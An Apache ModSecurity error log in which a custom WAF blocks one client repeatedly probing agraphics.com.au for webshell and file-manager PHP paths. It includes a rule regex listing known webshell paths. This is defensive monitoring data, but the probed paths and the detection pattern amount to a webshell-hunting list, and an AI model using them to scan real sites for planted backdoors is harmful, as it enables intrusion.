[Thu Feb 26 10:23:35.000526 2026] [:error] [pid 55051:tid 55066] [client 20.100.197.204:7185] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aZ-upgmK1w2kZvh5eLG9MwAAAIw"]
[Thu Feb 26 10:23:35.625917 2026] [:error] [pid 25311:tid 25325] [client 20.100.197.204:52293] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aZ-up9fdM__yZAgJFSs44wAAAYs"]
[Thu Feb 26 10:23:36.467494 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:50685] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aZ-uqNfdM__yZAgJFSs45gAAAZU"]
[Thu Feb 26 10:23:37.230478 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:55918] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aZ-uqdfdM__yZAgJFSs46gAAAZc"]
[Thu Feb 26 10:23:38.244262 2026] [:error] [pid 55122:tid 55136] [client 20.100.197.204:59057] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aZ-uqoLiR0OfjFxvcN-PVgAAAMw"]
[Thu Feb 26 10:23:39.369715 2026] [:error] [pid 55051:tid 55057] [client 20.100.197.204:50992] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aZ-uqwmK1w2kZvh5eLG9RgAAAIM"]
[Thu Feb 26 10:23:41.578735 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:48032] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cbrfo.php"] [unique_id "aZ-urdfdM__yZAgJFSs48gAAAYE"]
[Thu Feb 26 10:23:42.576642 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:38931] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aZ-urtfdM__yZAgJFSs49gAAAZc"]
[Thu Feb 26 10:23:43.274320 2026] [:error] [pid 55122:tid 55133] [client 20.100.197.204:38939] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aZ-ur4LiR0OfjFxvcN-PWgAAAMk"]
[Thu Feb 26 10:23:44.677749 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:50969] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aZ-usNfdM__yZAgJFSs5AAAAAYA"]
[Thu Feb 26 10:23:45.474406 2026] [:error] [pid 3883:tid 3906] [client 20.100.197.204:62093] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aZ-useA33x90V6yYHaj2TQAAAVQ"]
[Thu Feb 26 10:23:46.286407 2026] [:error] [pid 3883:tid 3898] [client 20.100.197.204:55906] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aZ-usuA33x90V6yYHaj2VQAAAUw"]
[Thu Feb 26 10:23:47.988207 2026] [:error] [pid 3883:tid 3903] [client 20.100.197.204:1291] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aZ-us-A33x90V6yYHaj2WQAAAVE"]
[Thu Feb 26 10:23:49.855231 2026] [:error] [pid 25311:tid 25326] [client 20.100.197.204:62106] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aZ-utdfdM__yZAgJFSs5EQAAAYw"]
[Thu Feb 26 10:23:51.166694 2026] [:error] [pid 3883:tid 3898] [client 20.100.197.204:51270] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aZ-ut-A33x90V6yYHaj2YQAAAUw"]
[Thu Feb 26 10:23:52.944905 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:56723] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aZ-uuNfdM__yZAgJFSs5FgAAAZA"]
[Thu Feb 26 10:23:54.833158 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:1294] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aZ-uutfdM__yZAgJFSs5HwAAAYE"]
[Thu Feb 26 10:23:56.982050 2026] [:error] [pid 55122:tid 55128] [client 20.100.197.204:52739] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aZ-uvILiR0OfjFxvcN-PYgAAAMQ"]
[Thu Feb 26 10:23:58.751559 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:49593] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aZ-uvtfdM__yZAgJFSs5KAAAAYo"]
[Thu Feb 26 10:24:00.717027 2026] [:error] [pid 3883:tid 3901] [client 20.100.197.204:1365] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZ-uwOA33x90V6yYHaj2cgAAAU8"]
[Thu Feb 26 10:24:01.617479 2026] [:error] [pid 3883:tid 3886] [client 20.100.197.204:55759] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aZ-uweA33x90V6yYHaj2iAAAAUA"]
[Thu Feb 26 10:24:02.667266 2026] [:error] [pid 3883:tid 3891] [client 20.100.197.204:49911] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aZ-uwuA33x90V6yYHaj2oQAAAUU"]
[Thu Feb 26 10:24:03.670608 2026] [:error] [pid 3883:tid 3897] [client 20.100.197.204:56758] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aZ-uw-A33x90V6yYHaj2pgAAAUs"]
[Thu Feb 26 10:24:06.068300 2026] [:error] [pid 3883:tid 3886] [client 20.100.197.204:48043] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aZ-uxuA33x90V6yYHaj2rQAAAUA"]
[Thu Feb 26 10:24:07.028662 2026] [:error] [pid 25311:tid 25328] [client 20.100.197.204:52315] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aZ-ux9fdM__yZAgJFSs5cgAAAY4"]
[Thu Feb 26 10:24:07.608859 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:56726] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aZ-ux9fdM__yZAgJFSs5dwAAAZY"]
[Thu Feb 26 10:24:08.633211 2026] [proxy_fcgi:error] [pid 3883:tid 3887] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:08.900518 2026] [proxy_fcgi:error] [pid 3883:tid 3897] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:09.162324 2026] [proxy_fcgi:error] [pid 3883:tid 3910] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:09.426484 2026] [proxy_fcgi:error] [pid 3883:tid 3907] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:09.696915 2026] [proxy_fcgi:error] [pid 3883:tid 3900] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:09.959109 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:10.221501 2026] [proxy_fcgi:error] [pid 3883:tid 3905] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:11.678344 2026] [proxy_fcgi:error] [pid 3883:tid 3889] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:11.950917 2026] [proxy_fcgi:error] [pid 3883:tid 3902] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:12.213523 2026] [proxy_fcgi:error] [pid 3883:tid 3894] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:12.490780 2026] [proxy_fcgi:error] [pid 3883:tid 3888] [client 20.100.197.204:52793] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:24:12.748463 2026] [:error] [pid 3883:tid 3892] [client 20.100.197.204:52793] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-uzOA33x90V6yYHaj2wQAAAUY"]
[Thu Feb 26 10:24:14.454365 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:49860] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-uztfdM__yZAgJFSs5lQAAAYA"]
[Thu Feb 26 10:24:15.654056 2026] [:error] [pid 25311:tid 25328] [client 20.100.197.204:52348] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-uz9fdM__yZAgJFSs5nAAAAY4"]
[Thu Feb 26 10:24:16.596054 2026] [:error] [pid 25311:tid 25321] [client 20.100.197.204:38860] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-u0NfdM__yZAgJFSs5ogAAAYc"]
[Thu Feb 26 10:24:17.384834 2026] [:error] [pid 55051:tid 55055] [client 20.100.197.204:48012] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZ-u0QmK1w2kZvh5eLG9iAAAAIE"]
[Thu Feb 26 10:24:18.178071 2026] [:error] [pid 3883:tid 3891] [client 20.100.197.204:51726] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZ-u0uA33x90V6yYHaj2xQAAAUU"]
[Thu Feb 26 10:24:18.979638 2026] [:error] [pid 55122:tid 55126] [client 20.100.197.204:55755] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZ-u0oLiR0OfjFxvcN-PcwAAAMI"]
[Thu Feb 26 10:24:22.028843 2026] [:error] [pid 54991:tid 55022] [client 20.100.197.204:52645] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aZ-u1t4Zx-mJ8gbRB2hwvwAAAEI"]
[Thu Feb 26 10:24:23.421941 2026] [:error] [pid 55618:tid 55638] [client 20.100.197.204:1487] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-u1x61Vrh12f_8oWQu8AAAARE"]
[Thu Feb 26 10:24:24.813277 2026] [:error] [pid 55051:tid 55059] [client 20.100.197.204:52619] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-u2AmK1w2kZvh5eLG9lgAAAIU"]
[Thu Feb 26 10:24:25.927405 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:49595] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-u2dfdM__yZAgJFSs50QAAAZU"]
[Thu Feb 26 10:24:27.118255 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:49549] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-u29fdM__yZAgJFSs51QAAAYU"]
[Thu Feb 26 10:24:29.057923 2026] [:error] [pid 3883:tid 3910] [client 20.100.197.204:52659] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u3eA33x90V6yYHaj21QAAAVg"]
[Thu Feb 26 10:24:30.853934 2026] [:error] [pid 54991:tid 55026] [client 20.100.197.204:52620] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u3t4Zx-mJ8gbRB2hwyQAAAEY"]
[Thu Feb 26 10:24:31.605933 2026] [:error] [pid 25311:tid 25317] [client 20.100.197.204:1674] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u39fdM__yZAgJFSs58gAAAYM"]
[Thu Feb 26 10:24:33.472324 2026] [:error] [pid 55122:tid 55142] [client 20.100.197.204:52652] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u4YLiR0OfjFxvcN-PfgAAANI"]
[Thu Feb 26 10:24:35.482005 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:59044] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u49fdM__yZAgJFSs6BwAAAZY"]
[Thu Feb 26 10:24:36.806229 2026] [:error] [pid 55051:tid 55060] [client 20.100.197.204:59045] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u5AmK1w2kZvh5eLG9qAAAAIY"]
[Thu Feb 26 10:24:38.811140 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:1583] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u5uA33x90V6yYHaj22wAAAU4"]
[Thu Feb 26 10:24:40.100448 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:49541] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aZ-u6OA33x90V6yYHaj24QAAAVM"]
[Thu Feb 26 10:24:41.154757 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:7190] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aZ-u6dfdM__yZAgJFSs6FwAAAZY"]
[Thu Feb 26 10:24:43.070604 2026] [:error] [pid 3883:tid 3897] [client 20.100.197.204:52611] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aZ-u6-A33x90V6yYHaj26AAAAUs"]
[Thu Feb 26 10:24:44.047846 2026] [:error] [pid 55618:tid 55633] [client 20.100.197.204:61897] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aZ-u7B61Vrh12f_8oWQvDQAAAQw"]
[Thu Feb 26 10:24:44.730050 2026] [:error] [pid 25311:tid 25318] [client 20.100.197.204:52669] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aZ-u7NfdM__yZAgJFSs6HAAAAYQ"]
[Thu Feb 26 10:24:45.724973 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:61899] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-u7eA33x90V6yYHaj28gAAAVM"]
[Thu Feb 26 10:24:46.550581 2026] [:error] [pid 55122:tid 55135] [client 20.100.197.204:38907] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aZ-u7oLiR0OfjFxvcN-PiwAAAMs"]
